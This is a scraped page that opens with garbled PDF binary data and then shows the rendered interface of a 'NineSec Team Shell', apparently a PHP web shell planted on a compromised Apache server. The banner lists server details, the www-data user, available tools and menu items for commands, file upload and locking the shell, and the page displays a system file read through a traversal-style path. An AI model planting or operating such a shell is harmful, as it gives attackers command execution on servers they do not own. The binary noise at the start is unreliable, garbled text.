%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 192.168.60.199  /  Your IP : 192.168.60.1
Web Server : Apache
System : Linux PROD-conference 6.8.12-17-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-17 (2025-11-21T11:16Z) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-0+deb8u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /lib/../usr/../usr/../bin/../proc/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //lib/../usr/../usr/../bin/../proc/diskstats
   7       0 loop0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   8      80 sdf 634 0 58280 321 0 0 0 0 0 80 321 0 0 0 0 0 0
   8      81 sdf1 102 0 9824 54 0 0 0 0 0 42 54 0 0 0 0 0 0
   8      82 sdf2 99 0 9824 53 0 0 0 0 0 39 53 0 0 0 0 0 0
   8      83 sdf3 99 0 9824 64 0 0 0 0 0 39 64 0 0 0 0 0 0
   8      84 sdf4 99 0 9824 55 0 0 0 0 0 41 55 0 0 0 0 0 0
   8      85 sdf5 99 0 9824 49 0 0 0 0 0 39 49 0 0 0 0 0 0
   8      64 sde 60517422 25946 6967277284 595344474 327906131 267936213 12265560666 262472592 0 22566729 857817066 0 0 0 0 0 0
   8      65 sde1 52 0 2080 13 0 0 0 0 0 5 13 0 0 0 0 0 0
   8      66 sde2 490 1057 43452 125 284 0 284 23 0 74 148 0 0 0 0 0 0
   8      67 sde3 60516761 24889 6967225832 595344273 327905847 267936213 12265560382 262472569 0 28176893 857816843 0 0 0 0 0 0
   8      96 sdg 634 0 58280 294 0 0 0 0 0 76 294 0 0 0 0 0 0
   8      97 sdg1 102 0 9824 43 0 0 0 0 0 31 43 0 0 0 0 0 0
   8      98 sdg2 99 0 9824 52 0 0 0 0 0 35 52 0 0 0 0 0 0
   8      99 sdg3 99 0 9824 56 0 0 0 0 0 41 56 0 0 0 0 0 0
   8     100 sdg4 99 0 9824 53 0 0 0 0 0 44 53 0 0 0 0 0 0
   8     101 sdg5 99 0 9824 48 0 0 0 0 0 40 48 0 0 0 0 0 0
   8       0 sda 511663630 227020355 54778705888 351799765 4101774536 981787025 67252744520 515201423 0 468543640 1079772066 0 0 0 0 1732542622 212770876
   8      32 sdc 498010145 236810544 56413983600 370938471 4158855343 982108674 68853447672 537835382 0 511707873 1124427611 0 0 0 0 1746841468 215653757
   8      16 sdb 513493633 227838808 55170289920 359140685 4562956306 1039979993 72295503960 573241301 0 524657296 1163115102 0 0 0 0 1920356744 230733115
   8      48 sdd 307839035 143292099 33546435872 197612631 3298632782 711417358 48912163704 366061865 0 361393699 730710079 0 0 0 0 1430020281 167035582
 252       0 dm-0 738683915 0 54778693808 570639556 5083561561 0 67252744520 2180596066 0 590268962 2751235622 0 0 0 0 0 0
 252       1 dm-1 1444 0 18568 136 5971 0 47768 183955 0 8154 184091 0 0 0 0 0 0
 252       2 dm-2 451131064 0 33546423792 338745130 4010050141 0 48912163704 1339314959 0 463957284 1678060089 0 0 0 0 0 0
 252       3 dm-3 741332371 0 55170277840 579789525 5602936299 0 72295503960 2436636452 0 704043297 3016425977 0 0 0 0 0 0
 252       4 dm-4 734820619 0 56413971520 606284953 5140964017 0 68853447672 2319171850 0 729319798 2925456803 0 0 0 0 0 0
 252       5 dm-5 63788 0 5675730 16361 506526653 0 9075991800 72736965 0 15688238 72753326 0 0 0 0 0 0
 252       6 dm-6 12507505 0 6961519488 44942973 37171830 0 3189520814 19748018 0 81845428 64690991 0 0 0 0 0 0
   8     112 sdh 364 0 20884 303 0 0 0 0 0 216 303 0 0 0 0 0 0
   8     113 sdh1 31 0 464 20 0 0 0 0 0 21 20 0 0 0 0 0 0
   8     114 sdh2 68 0 3192 58 0 0 0 0 0 52 58 0 0 0 0 0 0
   8     115 sdh3 92 0 9036 95 0 0 0 0 0 88 95 0 0 0 0 0 0
   8     116 sdh4 36 0 768 26 0 0 0 0 0 28 26 0 0 0 0 0 0
 251       0 rbd0 345780 43270 98720610 260199 17560766 27103255 405461536 43533526 0 57652900 43793726 0 0 0 0 0 0
 251      32 rbd2 158949 5379 5611650 93003 25434093 19216672 511041640 55878731 0 50127813 55971735 0 0 0 0 0 0
 251      64 rbd4 129536 30884 3772498 47763 26793057 46346209 639736664 61633503 0 36499036 61681266 0 0 0 0 0 0
 251      80 rbd5 89093 9616 6551666 45847 60906019 30492443 1553335112 116631330 0 72950488 116677178 0 0 0 0 0 0
 251     128 rbd8 7343 1251 771474 5150 12470132 1086205 126995544 24852202 0 15051621 24877474 150158 11437 1134853032 20122 0 0
 251     144 rbd9 133933 29750 8704842 42988 2808436 550258 121368240 7527220 0 10090626 7619144 64602 7898 443140128 48934 0 0
 251      48 rbd3 29993 8274 1635800 19820 2292697 220010 22284133 5408364 0 4384703 5428184 0 0 0 0 0 0
 251     160 rbd10 134896453 280628 4598195474 75793761 281319883 97948805 6369437363 785822728 0 121852267 862329309 843101 510642 1533840168 712820 0 0
 251     112 rbd7 105465 10087 8855596 63864 2249783 389279 52488528 5686252 0 5761005 5865357 49792 10949 253190856 115241 0 0
 251     176 rbd11 149036 15016 118987892 222400 1957545 40586 32592944 4598293 0 3816680 4823427 14716 1500 109635296 2734 0 0
 251      96 rbd6 12191149 109805 401275978 34633671 89569981 17313043 2601514288 234763294 0 278132358 269396965 0 0 0 0 0 0

NineSec Team - 2022